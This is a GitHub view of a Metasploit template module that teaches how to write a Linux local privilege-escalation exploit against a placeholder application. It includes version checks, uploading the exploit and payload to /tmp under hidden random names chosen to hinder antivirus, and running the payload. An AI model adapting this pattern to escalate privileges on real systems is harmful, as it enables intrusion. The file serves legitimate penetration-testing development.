-
Notifications
You must be signed in to change notification settings - Fork 14.3k
/
Copy pathexample_linux_priv_esc.rb
164 lines (151 loc) · 6.75 KB
/
example_linux_priv_esc.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in a command on a linux computer for priv esc.
#
###
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
# includes: is_root?
include Msf::Post::Linux::Priv
# includes: has_gcc?
include Msf::Post::Linux::System
# includes: kernel_release
include Msf::Post::Linux::Kernel
# includes writable?, upload_file, upload_and_chmodx, exploit_data
include Msf::Post::File
# includes generate_payload_exe
include Msf::Exploit::EXE
# includes register_files_for_cleanup
include Msf::Exploit::FileDropper
# includes: COMPILE option, live_compile?, upload_and_compile
# strip_comments
include Msf::Post::Linux::Compile
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
# The Name should be just like the line of a Git commit - software name,
# vuln type, class. Preferably apply
# some search optimization so people can actually find the module.
# We encourage consistency between module name and file name.
'Name' => 'Sample Linux Priv Esc',
'Description' => %q{
This exploit module illustrates how a vulnerability could be exploited
in an linux command for priv esc.
},
'License' => MSF_LICENSE,
# The place to add your name/handle and email. Twitter and other contact info isn't handled here.
# Add reference to additional authors, like those creating original proof of concepts or
# reference materials.
# It is also common to comment in who did what (PoC vs metasploit module, etc)
'Author' => [
'h00die <mike@stcyrsecurity.com>', # msf module
'researcher' # original PoC, analysis
],
'Platform' => [ 'linux' ],
# from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit
# may only apply to say ARCH_PPC or something else, where a specific arch is required.
# A full list is available in lib/msf/core/payload/uuid.rb
'Arch' => [ ARCH_X86, ARCH_X64 ],
# What types of sessions we can use this module in conjunction with. Most modules use libraries
# which work on shell and meterpreter, but there may be a nuance between one of them, so best to
# test both to ensure compatibility.
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
# from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
# since privilege escalation modules typically result in elevated privileges, this is
# generally set to true
'Privileged' => true,
'References' => [
[ 'OSVDB', '12345' ],
[ 'EDB', '12345' ],
[ 'URL', 'http://www.example.com'],
[ 'CVE', '1978-1234']
],
'DisclosureDate' => '2023-11-29',
# Note that DefaultTarget refers to the index of an item in Targets, rather than name.
# It's generally easiest just to put the default at the beginning of the list and skip this
# entirely.
'DefaultTarget' => 0,
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
}
)
)
# force exploit is used to bypass the check command results
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
# Simplify pulling the writable directory variable
def base_dir
datastore['WritableDir'].to_s
end
def check
# Check the kernel version to see if its in a vulnerable range
# we guard this because some distros have funky kernel versions https://github.com/rapid7/metasploit-framework/issues/19812
release = kernel_release
begin
if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') ||
Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0')
return CheckCode::Safe("Kernel version #{release} is not vulnerable")
end
rescue ArgumentError => e
return CheckCode::Safe("Error determining or processing kernel release (#{release}) into known format: #{e}")
end
vprint_good "Kernel version #{release} appears to be vulnerable"
# Check the app is installed and the version, debian based example
package = cmd_exec('dpkg -l example | grep \'^ii\'')
if package&.include?('1:2015.3.14AR.1-1build1')
return CheckCode::Appears("Vulnerable app version #{package} detected")
end
CheckCode::Safe("app #{package} is not vulnerable")
end
#
# The exploit method drops a payload file to the system, then either compiles and runs
# or just runs the exploit on the system.
#
def exploit
# Check if we're already root
if !datastore['ForceExploit'] && is_root?
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
end
# Make sure we can write our exploit and payload to the local system
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# Upload exploit executable, writing to a random name so AV doesn't have too easy a job
executable_name = ".#{rand_text_alphanumeric(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile executable_path, strip_comments(exploit_data('example.c'))
rm_f "#{executable_path}.c"
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx executable_path, exploit_data('example')
end
# register the file for automatic cleanup
register_files_for_cleanup(executable_path)
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
# register payload for automatic cleanup
register_files_for_cleanup(payload_path)
# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
# output from the exploit being run, they can optionally see it
timeout = 30
print_status 'Launching exploit...'
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
output.each_line { |line| vprint_status line.chomp }
end
end